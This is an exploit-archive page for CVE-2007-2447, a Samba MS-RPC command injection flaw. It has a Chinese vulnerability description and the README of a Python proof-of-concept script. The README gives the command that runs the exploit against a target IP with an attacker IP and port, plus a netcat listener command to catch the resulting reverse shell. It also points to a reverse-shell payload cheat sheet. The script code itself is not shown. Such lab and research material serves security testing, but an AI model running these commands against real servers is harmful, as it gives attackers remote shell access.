Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source
Associated Vulnerability
Title:Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
Description:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
Readme
## CVE-2007-2447
To test the script I recommend you the virtual machine "metasploitable 2" available [here](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
The script will display a reverse shell if the exploit works. To get the connection, just open a netcat session like :

```
netcat -lnvp <port>
```

## Table of contents
* [Exemples](#Examples)
* [Requirements](#requirements)
* [Payloads](#payloads)

## Examples

```
py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14
```
and on my netcat :

```
netcat -lnvp 1337
```
Result :

netcat :

![alt text](https://image.noelshack.com/fichiers/2020/17/3/1587561245-capture.png)

and on the script:

![alt text](https://image.noelshack.com/fichiers/2020/17/3/1587561439-capture.png)

## Requirements
- mysmb
- platform
- sys
- os

## Payloads

I used a payload of a cheat-sheet. The link is available [here](https://highon.coffee/blog/reverse-shell-cheat-sheet/#python-reverse-shell).
You can replace it with other payloads.
File Snapshot

[4.0K] /data/pocs/d87e680ace58d9fc2274e0b89555f586ab7b5c5f ├── [3.7K] CVE-2007-2447.py └── [ 999] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.